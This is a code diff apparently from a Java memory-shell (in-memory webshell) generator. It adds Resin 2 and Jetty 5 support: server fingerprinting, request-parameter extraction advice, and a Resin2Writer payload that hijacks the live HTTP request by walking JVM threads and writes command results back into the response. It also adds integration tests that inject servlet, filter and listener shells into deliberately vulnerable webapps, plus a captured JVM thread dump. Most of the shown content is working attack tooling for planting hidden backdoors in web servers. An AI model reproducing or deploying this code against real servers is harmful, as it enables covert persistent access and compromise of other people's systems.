||||
case Server.SpringWebMvc:
|
||||
return SpringWebMvcWriter.class;
|
||||
case Server.Jetty:
|
||||
case Server.Jetty5:
|
||||
return JettyWriter.class;
|
||||
case Server.Tomcat:
|
||||
case Server.JBoss:
|
||||
@@ -95,6 +96,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
return TongWebWriter.class;
|
||||
case Server.Resin:
|
||||
return ResinWriter.class;
|
||||
case Server.Resin2:
|
||||
return Resin2Writer.class;
|
||||
case Server.Undertow:
|
||||
return UndertowWriter.class;
|
||||
case Server.GlassFish:
|
||||
@@ -118,15 +121,24 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||
@ValueAnnotation String name,
|
||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
String p = null;
|
||||
try {
|
||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
} catch (Exception e) {
|
||||
ret = null;
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
ret = p;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -135,22 +147,33 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||
@ValueAnnotation String name,
|
||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
String p = null;
|
||||
try {
|
||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception e) {
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
|
||||
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
|
||||
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||
if (p == null || p.isEmpty()) {
|
||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -160,5 +183,3 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -27,6 +27,10 @@ public class ServerProbe {
|
||||
classNames.add(traceElement.getClassName());
|
||||
}
|
||||
}
|
||||
if (classNames.contains("org.mortbay.http.HttpConnection")
|
||||
|| classNames.contains("org.mortbay.http.HttpServer")) {
|
||||
return ret = "Jetty5";
|
||||
}
|
||||
if (System.getProperty("jetty.home") != null
|
||||
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
|
||||
return ret = "Jetty";
|
||||
@@ -54,9 +58,15 @@ public class ServerProbe {
|
||||
|| System.getProperty("wlp.install.dir") != null) {
|
||||
return ret = "WebSphere";
|
||||
}
|
||||
if (System.getProperty("resin.home") != null) {
|
||||
if (System.getProperty("resin.home") != null
|
||||
&& classNames.contains("com.caucho.server.dispatch.ServletInvocation")) {
|
||||
return ret = "Resin";
|
||||
}
|
||||
if (System.getProperty("resin.home") != null
|
||||
&& (classNames.contains("com.caucho.server.http.HttpRequest")
|
||||
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
|
||||
return ret = "Resin2";
|
||||
}
|
||||
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
|
||||
return ret = "SpringWebFlux";
|
||||
}
|
||||
|
||||
+172
@@ -0,0 +1,172 @@
|
||||
package com.reajason.javaweb.probe.payload.response;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2Writer {
|
||||
|
||||
private static boolean ok = false;
|
||||
|
||||
public Resin2Writer() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Object request = getCurrentRequest();
|
||||
if (request == null) {
|
||||
return;
|
||||
}
|
||||
Object response = invokeMethod(request, "getResponse", null, null);
|
||||
String data = getDataFromReq(request);
|
||||
if (data != null && !data.isEmpty()) {
|
||||
String result = "";
|
||||
try {
|
||||
result = run(data);
|
||||
} catch (Throwable e) {
|
||||
result = getErrorMessage(e);
|
||||
}
|
||||
if (result != null) {
|
||||
try {
|
||||
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||
outputStream.write(result.getBytes());
|
||||
outputStream.flush();
|
||||
outputStream.close();
|
||||
} catch (Throwable e) {
|
||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||
writer.write(result);
|
||||
writer.flush();
|
||||
writer.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
ok = true;
|
||||
}
|
||||
}
|
||||
|
||||
private Object getCurrentRequest() {
|
||||
Thread currentThread = Thread.currentThread();
|
||||
Object request = getRequestFromThread(currentThread, currentThread);
|
||||
if (request != null) {
|
||||
return request;
|
||||
}
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
request = getRequestFromThread(thread, currentThread);
|
||||
if (request != null) {
|
||||
return request;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object getRequestFromThread(Thread thread, Thread currentThread) {
|
||||
Object target = null;
|
||||
try {
|
||||
target = getFieldValue(thread, "target");
|
||||
} catch (Throwable e) {
|
||||
try {
|
||||
target = getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return getRequestFromTarget(target, currentThread);
|
||||
}
|
||||
|
||||
private Object getRequestFromTarget(Object target, Thread currentThread) {
|
||||
if (target == null) {
|
||||
return null;
|
||||
}
|
||||
Object request = null;
|
||||
if ("com.caucho.server.http.HttpRequest".equals(target.getClass().getName())) {
|
||||
request = target;
|
||||
} else {
|
||||
try {
|
||||
request = getFieldValue(target, "request");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
if (request == null || !"com.caucho.server.http.HttpRequest".equals(request.getClass().getName())) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
Object requestThread = getFieldValue(request, "_thread");
|
||||
if (requestThread != null && requestThread != currentThread) {
|
||||
return null;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return request;
|
||||
}
|
||||
|
||||
private String getDataFromReq(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private String run(String data) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -114,6 +114,8 @@ public class CommonUtil {
|
||||
|
||||
public static String getWebPackageNameForServer(String server) {
|
||||
switch (server) {
|
||||
case Jetty5:
|
||||
return "org.mortbay.jetty.servlet.handlers";
|
||||
case Jetty:
|
||||
return "org.eclipse.jetty.servlet.handlers";
|
||||
case Undertow:
|
||||
@@ -128,6 +130,8 @@ public class CommonUtil {
|
||||
return "weblogic.servlet.internal.handlers";
|
||||
case Resin:
|
||||
return "com.caucho.server.dispatch.handlers";
|
||||
case Resin2:
|
||||
return "com.caucho.server.http.handlers";
|
||||
case BES:
|
||||
return "com.bes.enterprise.webtier.web.handlers";
|
||||
case Apusic:
|
||||
@@ -148,4 +152,4 @@ public class CommonUtil {
|
||||
public static String getSimpleName(String className) {
|
||||
return className.substring(className.lastIndexOf(".") + 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
services:
|
||||
jetty5110:
|
||||
image: reajason/jetty:5.1.10-jdk6
|
||||
ports:
|
||||
- "8888:8080"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jetty/webapps/app.war
|
||||
@@ -8,4 +8,4 @@ services:
|
||||
environment:
|
||||
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
|
||||
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/resin2/webapps/app.war
|
||||
@@ -16,6 +16,7 @@ public class ContainerTool {
|
||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
||||
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
||||
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
||||
public static final MountableFile servlet2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-servlet2", "build", "libs", "vul-webapp-servlet2.war").toAbsolutePath(), 0666);
|
||||
public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
|
||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
||||
|
||||
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Jetty51ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.
|
||||
builder()
|
||||
.imageName("reajason/jetty:5.1.10-jdk6")
|
||||
.server(Server.Jetty5)
|
||||
.pidScript(ContainerTool.jettyPid)
|
||||
.warFile(ContainerTool.servlet2WarFile)
|
||||
.warDeployPath("/usr/local/jetty/webapps/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.LISTENER,
|
||||
ShellType.FILTER
|
||||
))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
package com.reajason.javaweb.integration.memshell.resin;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Resin2117ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||
.builder()
|
||||
.imageName("reajason/resin:2.1.17-jdk6")
|
||||
.server(Server.Resin2)
|
||||
.warFile(ContainerTool.servlet2WarFile)
|
||||
.warDeployPath("/usr/local/resin2/webapps/app.war")
|
||||
.pidScript(ContainerTool.resinPid)
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER
|
||||
))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER
|
||||
))
|
||||
.enableJspPackerTest(false)
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+18
@@ -118,6 +118,15 @@ public class ProbeTestConfig {
|
||||
.warDeployPath(warDeployPath);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder jetty5Old(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.Jetty5)
|
||||
.warFile(ContainerTool.servlet2WarFile)
|
||||
.warDeployPath(warDeployPath)
|
||||
.supportsFilterProbe(false);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder glassfish(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
@@ -230,6 +239,15 @@ public class ProbeTestConfig {
|
||||
.warDeployPath(warDeployPath);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder resin2(String imageName, String warDeployPath) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.server(Server.Resin2)
|
||||
.warFile(ContainerTool.servlet2WarFile)
|
||||
.warDeployPath(warDeployPath)
|
||||
.supportsFilterProbe(false);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder springboot(String imageName, MountableFile jarFile) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
|
||||
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Jetty51ContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig
|
||||
.jetty5Old("reajason/jetty:5.1.10-jdk6", "/usr/local/jetty/webapps/app.war")
|
||||
.expectedJdkVersion("JDK|1.6.0_45|50")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.build();
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG);
|
||||
|
||||
@Override
|
||||
protected ProbeTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected GenericContainer<?> getContainer() {
|
||||
return container;
|
||||
}
|
||||
}
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
package com.reajason.javaweb.integration.probe.resin;
|
||||
|
||||
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
|
||||
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Resin2117ContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.resin2(
|
||||
"reajason/resin:2.1.17-jdk6",
|
||||
"/usr/local/resin2/webapps/app.war")
|
||||
.expectedJdkVersion("JDK|1.6.0_45|50")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.build();
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG);
|
||||
|
||||
@Override
|
||||
protected ProbeTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected GenericContainer<?> getContainer() {
|
||||
return container;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,345 @@
|
||||
# Generated At 2026-07-03 18:58:31
|
||||
SystemProps:
|
||||
java.runtime.name: Java(TM) SE Runtime Environment
|
||||
sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64
|
||||
java.vm.version: 20.45-b01
|
||||
javax.management.builder.initial: mx4j.server.MX4JMBeanServerBuilder
|
||||
java.vm.vendor: Sun Microsystems Inc.
|
||||
java.vendor.url: http://java.sun.com/
|
||||
path.separator: :
|
||||
java.vm.name: Java HotSpot(TM) 64-Bit Server VM
|
||||
file.encoding.pkg: sun.io
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
user.country: US
|
||||
sun.os.patch.level: unknown
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
user.dir: /usr/local/jetty
|
||||
java.runtime.version: 1.6.0_45-b06
|
||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||
java.endorsed.dirs: /opt/java/jdk1.6.0_45/jre/lib/endorsed
|
||||
os.arch: amd64
|
||||
java.io.tmpdir: /tmp
|
||||
line.separator:
|
||||
|
||||
java.vm.specification.vendor: Sun Microsystems Inc.
|
||||
org.mortbay.log.LogFactory.noDiscovery: true
|
||||
os.name: Linux
|
||||
sun.jnu.encoding: ANSI_X3.4-1968
|
||||
java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
|
||||
java.specification.name: Java Platform API Specification
|
||||
java.class.version: 50.0
|
||||
jetty.home: /usr/local/jetty
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70
|
||||
user.home: /root
|
||||
user.timezone: UTC
|
||||
java.awt.printerjob: sun.print.PSPrinterJob
|
||||
file.encoding: ANSI_X3.4-1968
|
||||
java.specification.version: 1.6
|
||||
java.class.path: /usr/local/jetty/lib/org.mortbay.jetty.jar:/usr/local/jetty/lib/javax.servlet.jar:/usr/local/jetty/lib/org.mortbay.jmx.jar:/usr/local/jetty/ext/xercesImpl.jar:/usr/local/jetty/ext/ant.jar:/usr/local/jetty/ext/jasper-runtime.jar:/usr/local/jetty/ext/jasper-compiler.jar:/usr/local/jetty/ext/commons-el.jar:/usr/local/jetty/ext/commons-logging.jar:/usr/local/jetty/ext/mx4j-remote.jar:/usr/local/jetty/ext/mx4j-tools.jar:/usr/local/jetty/ext/mx4j.jar:/usr/local/jetty/ext/xmlParserAPIs.jar:/opt/java/jdk1.6.0_45/lib/tools.jar
|
||||
user.name: root
|
||||
java.vm.specification.version: 1.0
|
||||
sun.java.command: /usr/local/jetty/start.jar
|
||||
java.home: /opt/java/jdk1.6.0_45/jre
|
||||
sun.arch.data.model: 64
|
||||
user.language: en
|
||||
java.specification.vendor: Sun Microsystems Inc.
|
||||
java.vm.info: mixed mode
|
||||
java.version: 1.6.0_45
|
||||
java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext
|
||||
sun.boot.class.path: /opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes
|
||||
java.vendor: Sun Microsystems Inc.
|
||||
file.separator: /
|
||||
java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
sun.cpu.endian: little
|
||||
sun.cpu.isalist:
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"P1-1" #20 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@68de462
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"Thread-0" #8 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:430)
|
||||
at org.mortbay.start.Monitor.run(Monitor.java:75)
|
||||
|
||||
"P1-9" #28 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@bb273cc
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"SessionScavenger" #14 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.mortbay.jetty.servlet.AbstractSessionManager$SessionScavenger.run(AbstractSessionManager.java:587)
|
||||
|
||||
"P1-4" #23 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@61acfa31
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"P1-11" #30 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@7ba85d38
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"P1-3" #22 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@235dd910
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"SocketListener0-0" #12 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@7e9ffe3f
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"SessionScavenger" #10 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.mortbay.jetty.servlet.AbstractSessionManager$SessionScavenger.run(AbstractSessionManager.java:587)
|
||||
|
||||
"P1-10" #29 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@6a8046f4
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5076e8a7
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171)
|
||||
|
||||
"P1-14" #33 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@4963f7a1
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
|
||||
|
||||
"P1-2" #21 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@6655bb93
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
